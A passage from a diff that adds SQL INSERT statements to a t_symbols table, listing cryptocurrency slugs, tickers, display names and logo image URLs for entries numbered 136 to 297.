'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (136, 'threshold-network-token', 'T', 'Threshold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (137, 'gala', 'GALA', 'GALA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL); +INSERT INTO `t_symbols` VALUES (138, 'icon', 'ICX', 'ICON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL); +INSERT INTO `t_symbols` VALUES (139, 'ankr-network', 'ANKR', 'Ankr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL); +INSERT INTO `t_symbols` VALUES (140, 'just', 'JST', 'JUST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (141, 'iotex', 'IOTX', 'IoTeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL); +INSERT INTO `t_symbols` VALUES (142, 'btse-token', 'BTSE', 'BTSE Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btse-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (143, 'sapphire', 'SAPP', 'Sapphire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sapphire.png', NULL); +INSERT INTO `t_symbols` VALUES (144, 'golem-network-tokens', 'GLM', 'Golem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golem-network-tokens.png', NULL); +INSERT INTO `t_symbols` VALUES (145, 'arweave', 'AR', 'Arweave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL); +INSERT INTO `t_symbols` VALUES (146, 'finnexus', 'FNX', 'FinNexus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/finnexus.png', NULL); +INSERT INTO `t_symbols` VALUES (147, 'balancer', 'BAL', 'Balancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL); +INSERT INTO `t_symbols` VALUES (148, 'wemix-token', 'WEMIX', 'WEMIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wemix-token.png', NULL); +INSERT INTO `t_symbols` VALUES (149, 'astar', 'ASTR', 'Astar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL); +INSERT INTO `t_symbols` VALUES (150, 'audius', 'AUDIO', 'Audius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL); +INSERT INTO `t_symbols` VALUES (151, 'chia-network', 'XCH', 'Chia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chia-network.png', NULL); +INSERT INTO `t_symbols` VALUES (152, '0x', 'ZRX', '0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL); +INSERT INTO `t_symbols` VALUES (153, 'nxm', 'NXM', 'Nexus Mutual', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (154, 'heliumhnt', 'HNT', 'Helium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heliumhnt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (155, 'safepal', 'SFP', 'SafePal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (156, 'aelf', 'ELF', 'aelf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/aelf.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (157, 'ontology', 'ONT', 'Ontology', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL); +INSERT INTO `t_symbols` VALUES (158, 'ecomicollect', 'OMI', 'ECOMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecomicollect.png', NULL); +INSERT INTO `t_symbols` VALUES (159, 'siacoin', 'SC', 'Siacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (160, 'harmony', 'ONE', 'Harmony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL); +INSERT INTO `t_symbols` VALUES (161, 'aragon', 'ANT', 'Aragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL); +INSERT INTO `t_symbols` VALUES (162, 'band-protocol', 'BAND', 'Band Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (163, 'cai-token', 'CAI', 'Cai Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cai-token.png', NULL); +INSERT INTO `t_symbols` VALUES (164, 'fetch-ai', 'FET', 'Fetch.ai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (165, 'swissborg', 'CHSB', 'SwissBorg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swissborg.png', NULL); +INSERT INTO `t_symbols` VALUES (166, 'educare', 'EKT', 'EDUCare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/educare.png', NULL); +INSERT INTO `t_symbols` VALUES (167, 'blox', 'CDT', 'Blox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (168, 'ocean-protocol', 'OCEAN', 'Ocean Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL); +INSERT INTO `t_symbols` VALUES (169, 'joe', 'JOE', 'JOE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL); +INSERT INTO `t_symbols` VALUES (170, 'green-metaverse', 'GMT', 'STEPN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL); +INSERT INTO `t_symbols` VALUES (171, 'kadena', 'KDA', 'Kadena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kadena.png', NULL); +INSERT INTO `t_symbols` VALUES (172, 'stasis-eurs', 'EURS', 'STASIS EURO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stasis-eurs.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (173, 'sushi', 'SUSHI', 'Sushi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (174, 'moonbeam', 'GLMR', 'Moonbeam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonbeam.png', NULL); +INSERT INTO `t_symbols` VALUES (175, 'biconomy', 'BICO', 'Biconomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biconomy.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (176, 'zelcash', 'FLUX', 'Flux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zelcash.png', NULL); +INSERT INTO `t_symbols` VALUES (177, 'ssv-network', 'SSV', 'SSV Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL); +INSERT INTO `t_symbols` VALUES (178, 'tribe-2', 'TRIBE', 'Tribe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tribe-2.png', NULL); +INSERT INTO `t_symbols` VALUES (179, 'bora-ecosystem', 'BORA', 'BORA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bora-ecosystem.png', NULL); +INSERT INTO `t_symbols` VALUES (180, 'synapse', 'SYN', 'Synapse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synapse.png', NULL); +INSERT INTO `t_symbols` VALUES (181, 'tomochain', 'TOMO', 'TomoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomochain.png', NULL); +INSERT INTO `t_symbols` VALUES (182, 'kuende', 'KUE', 'Kuende', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kuende.png', NULL); +INSERT INTO `t_symbols` VALUES (183, 'hive', 'HIVE', 'Hive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive.png', NULL); +INSERT INTO `t_symbols` VALUES (184, 'amp-token', 'AMP', 'Amp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amp-token.png', NULL); +INSERT INTO `t_symbols` VALUES (185, 'terra-luna-v2', 'LUNA', 'Terra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (186, 'terrausd', 'USTC', 'TerraClassicUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terrausd.png', NULL); +INSERT INTO `t_symbols` VALUES (187, 'uma', 'UMA', 'UMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL); +INSERT INTO `t_symbols` VALUES (188, 'polymath-network', 'POLY', 'Polymath', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polymath-network.png', NULL); +INSERT INTO `t_symbols` VALUES (189, 'livepeer', 'LPT', 'Livepeer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL); +INSERT INTO `t_symbols` VALUES (190, 'lisk', 'LSK', 'Lisk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lisk.png', NULL); +INSERT INTO `t_symbols` VALUES (191, 'ton-crystal', 'EVER', 'Everscale', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-crystal.png', NULL); +INSERT INTO `t_symbols` VALUES (192, 'skale', 'SKL', 'SKALE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL); +INSERT INTO `t_symbols` VALUES (193, 'wax', 'WAXP', 'WAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wax.png', NULL); +INSERT INTO `t_symbols` VALUES (194, 'rlc', 'RLC', 'iExec RLC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL); +INSERT INTO `t_symbols` VALUES (195, 'parkgene', 'GENE', 'Parkgene', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parkgene.png', NULL); +INSERT INTO `t_symbols` VALUES (196, 'digibyte', 'DGB', 'DigiByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL); +INSERT INTO `t_symbols` VALUES (197, 'dao-maker', 'DAO', 'DAO Maker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-maker.png', NULL); +INSERT INTO `t_symbols` VALUES (198, 'open-campus', 'EDU', 'Open Campus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL); +INSERT INTO `t_symbols` VALUES (199, 'cocos-bcx', 'COCOS', 'COCOS BCX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', NULL); +INSERT INTO `t_symbols` VALUES (200, 'alchemy-pay', 'ACH', 'Alchemy Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (201, 'ribbon-finance', 'RBN', 'Ribbon Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ribbon-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (202, 'keep-network', 'KEEP', 'Keep Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keep-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (203, 'rsk', 'RBTC', 'Rootstock RSK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rsk.jpg', NULL); +INSERT INTO `t_symbols` VALUES (204, 'rakon', 'RKN', 'Rakon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rakon.png', NULL); +INSERT INTO `t_symbols` VALUES (205, 'nucypher', 'NU', 'NuCypher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nucypher.png', NULL); +INSERT INTO `t_symbols` VALUES (206, 'coinextoken', 'CET', 'CoinEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinextoken.png', NULL); +INSERT INTO `t_symbols` VALUES (207, 'pathhive', 'PHV', 'PATHHIVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pathhive.png', NULL); +INSERT INTO `t_symbols` VALUES (208, 'telcoin', 'TEL', 'Telcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (209, 'reserve-protocol', 'RSR', 'Reserve Rights', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL); +INSERT INTO `t_symbols` VALUES (210, 'cartesi', 'CTSI', 'Cartesi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL); +INSERT INTO `t_symbols` VALUES (211, 'omisego', 'OMG', 'OMG Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL); +INSERT INTO `t_symbols` VALUES (212, 'nervos', 'CKB', 'Nervos Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL); +INSERT INTO `t_symbols` VALUES (213, 'zencash', 'ZEN', 'Horizen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL); +INSERT INTO `t_symbols` VALUES (214, 'bitrise-token', 'BRISE', 'Bitgert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrise-token.png', NULL); +INSERT INTO `t_symbols` VALUES (215, 'constellation', 'DAG', 'Constellation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constellation.png', NULL); +INSERT INTO `t_symbols` VALUES (216, 'dogelon-mars', 'ELON', 'Dogelon Mars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogelon-mars.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (217, 'neutrino', 'USDN', 'Neutrino USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neutrino.png', NULL); +INSERT INTO `t_symbols` VALUES (218, 'celer-network', 'CELR', 'Celer Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celer-network.png', NULL); +INSERT INTO `t_symbols` VALUES (219, 'rif', 'RIF', 'RSK Infrastructure Framework', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rif.png', NULL); +INSERT INTO `t_symbols` VALUES (220, 'pundi-x-2', 'PUNDIX', 'Pundi X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-2.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (221, 'abbc-foundation', 'ABBC', 'ABBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alibabacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (222, 'nano', 'XNO', 'Nano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nano.png', NULL); +INSERT INTO `t_symbols` VALUES (223, 'origintrail', 'TRAC', 'OriginTrail', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origintrail.png', NULL); +INSERT INTO `t_symbols` VALUES (224, 'syscoin', 'SYS', 'Syscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (225, 'bitclout', 'DESO', 'Decentralized Social', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclout.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (226, 'space-id', 'ID', 'SPACE ID', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL); +INSERT INTO `t_symbols` VALUES (227, 'illuvium', 'ILV', 'Illuvium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/illuvium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (228, 'status', 'SNT', 'Status', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/status.png', NULL); +INSERT INTO `t_symbols` VALUES (229, 'metal', 'MTL', 'Metal DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL); +INSERT INTO `t_symbols` VALUES (230, 'platoncoin', 'PLTC', 'PlatonCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platoncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (231, 'metis-token', 'METIS', 'Metis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metis-token.png', NULL); +INSERT INTO `t_symbols` VALUES (232, 'alpha-finance', 'ALPHA', 'Alpha Venture DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (233, 'apenft', 'NFT', 'APENFT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apenft.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (234, 'playdapp', 'PLA', 'PlayDapp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playdapp.png', NULL); +INSERT INTO `t_symbols` VALUES (235, 'milkalliance', 'MLK', 'MiL.k Alliance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/milkalliance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (236, 'liquity', 'LQTY', 'Liquity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL); +INSERT INTO `t_symbols` VALUES (237, 'wrapped-centrifuge', 'WCFG', 'Wrapped Centrifuge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-centrifuge.png', NULL); +INSERT INTO `t_symbols` VALUES (238, 'vulcan-forged', 'PYR', 'Vulcan Forged PYR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcan-forged.png', NULL); +INSERT INTO `t_symbols` VALUES (239, 'wrapped-nxm', 'WNXM', 'Wrapped NXM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-nxm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (240, 'stargate-finance', 'STG', 'Stargate Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (241, 'energy-web-token', 'EWT', 'Energy Web Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energy-web-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (242, 'ergo', 'ERG', 'Ergo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ergoplatformorg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (243, 'bty', 'BTY', 'Bityuan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bty.png', NULL); +INSERT INTO `t_symbols` VALUES (244, 'numeraire', 'NMR', 'Numeraire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/numeraire.png', NULL); +INSERT INTO `t_symbols` VALUES (245, 'radicle', 'RAD', 'Radicle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL); +INSERT INTO `t_symbols` VALUES (246, 'maidsafecoin', 'EMAID', 'MaidSafeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maidsafecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (247, 'api3', 'API3', 'API3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (248, 'dexe', 'DEXE', 'DeXe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexe.png', NULL); +INSERT INTO `t_symbols` VALUES (249, 'legolas-exchange', 'LGO', 'LGO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/legolas-exchange.jpg', NULL); +INSERT INTO `t_symbols` VALUES (250, 'medibloc', 'MED', 'MediBloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medibloc.png', NULL); +INSERT INTO `t_symbols` VALUES (251, 'shardus', 'ULT', 'Shardus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shardus.png', NULL); +INSERT INTO `t_symbols` VALUES (252, 'nym', 'NYM', 'NYM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nym.png', NULL); +INSERT INTO `t_symbols` VALUES (253, 'prometeus', 'PROM', 'Prom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prometeus.png', NULL); +INSERT INTO `t_symbols` VALUES (254, 'statera', 'STA', 'Statera', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/statera.png', NULL); +INSERT INTO `t_symbols` VALUES (255, 'dent', 'DENT', 'Dent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dent.png', NULL); +INSERT INTO `t_symbols` VALUES (256, 'ontology-gas', 'ONG', 'Ontology Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology-gas.png', NULL); +INSERT INTO `t_symbols` VALUES (257, 'zeon', 'ZEON', 'ZEON Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (258, 'steem', 'STEEM', 'Steem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem.png', NULL); +INSERT INTO `t_symbols` VALUES (259, 'arpa-chain', 'ARPA', 'ARPA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL); +INSERT INTO `t_symbols` VALUES (260, 'chromia', 'CHR', 'Chromia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL); +INSERT INTO `t_symbols` VALUES (261, 'braintrust', 'BTRST', 'Braintrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/braintrust.png', NULL); +INSERT INTO `t_symbols` VALUES (262, 'ardor', 'ARDR', 'Ardor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardor.png', NULL); +INSERT INTO `t_symbols` VALUES (263, 'lido-staked-sol', 'STSOL', 'Lido Staked SOL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-staked-sol.png', NULL); +INSERT INTO `t_symbols` VALUES (264, 'mass-vehicle-ledger', 'MVL', 'MVL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mass-vehicle-ledger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (265, 'small-love-potion', 'SLP', 'Smooth Love Potion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/small-love-potion.png', NULL); +INSERT INTO `t_symbols` VALUES (266, 'nest', 'NEST', 'Nest Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nest.png', NULL); +INSERT INTO `t_symbols` VALUES (267, 'civic', 'CVC', 'Civic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL); +INSERT INTO `t_symbols` VALUES (268, 'ampleforth', 'AMPL', 'Ampleforth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1539905ab02f248a828390a7cf25b4d9.jpg', NULL); +INSERT INTO `t_symbols` VALUES (269, 'linear', 'LINA', 'Linear Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL); +INSERT INTO `t_symbols` VALUES (270, 'standardtokenizationprotocol', 'STPT', 'STP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standardtokenizationprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (271, 'orbs', 'ORBS', 'Orbs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbs.png', NULL); +INSERT INTO `t_symbols` VALUES (272, 'dkargo', 'DKA', 'dKargo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkargo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (273, 'constitutiondao', 'PEOPLE', 'ConstitutionDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL); +INSERT INTO `t_symbols` VALUES (274, 'hashflow', 'HFT', 'Hashflow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL); +INSERT INTO `t_symbols` VALUES (275, 'multichain', 'MULTI', 'Multichain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/multichain.png', NULL); +INSERT INTO `t_symbols` VALUES (276, 'secret', 'SCRT', 'Secret', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secret.png', NULL); +INSERT INTO `t_symbols` VALUES (277, 'experience-points', 'XP', 'XP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experience-points.png', NULL); +INSERT INTO `t_symbols` VALUES (278, 'wink', 'WIN', 'WINkLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wink.png', NULL); +INSERT INTO `t_symbols` VALUES (279, 'stratis', 'STRAX', 'Stratis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stratis.png', NULL); +INSERT INTO `t_symbols` VALUES (280, 'republic-protocol', 'REN', 'REN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (281, 'request-network', 'REQ', 'Request', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/request-network.png', NULL); +INSERT INTO `t_symbols` VALUES (282, 'yottacoin', 'YTA', 'YottaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yottacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (283, 'singularitynet', 'AGI', 'SingularityNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet.png', NULL); +INSERT INTO `t_symbols` VALUES (284, 'nkn', 'NKN', 'NKN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL); +INSERT INTO `t_symbols` VALUES (285, 'vethor-token', 'VTHO', 'VeThor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vethor-token.png', NULL); +INSERT INTO `t_symbols` VALUES (286, 'gulden', 'MUNT', 'MUNT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gulden.png', NULL); +INSERT INTO `t_symbols` VALUES (287, 'bancor', 'BNT', 'Bancor Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancor.png', NULL); +INSERT INTO `t_symbols` VALUES (288, 'dero', 'DERO', 'Dero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dero.png', NULL); +INSERT INTO `t_symbols` VALUES (289, 'merit-circle', 'MC', 'Merit Circle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merit-circle.png', NULL); +INSERT INTO `t_symbols` VALUES (290, 'power-ledger', 'POWR', 'Power Ledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/power-ledger.png', NULL); +INSERT INTO `t_symbols` VALUES (291, 'function-x', 'FX', 'Function X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/function-x.png', NULL); +INSERT INTO `t_symbols` VALUES (292, 'everipedia', 'IQ', 'IQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everipedia.png', NULL); +INSERT INTO `t_symbols` VALUES (293, 'hubii-network', 'HBT', 'Hubii Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/hubiinetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (294, 'hunt-token', 'HUNT', 'Hunt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hunt-token.png', NULL); +INSERT INTO `t_symbols` VALUES (295, 'mdex', 'MDX', 'Mdex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdex.png', NULL); +INSERT INTO `t_symbols` VALUES (296, 'humanscape', 'HUM', 'Humanscape', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/humanscape.png', NULL); +INSERT INTO `t_symbols` VALUES (297, 'certik', 'CTK', 'Shentu', 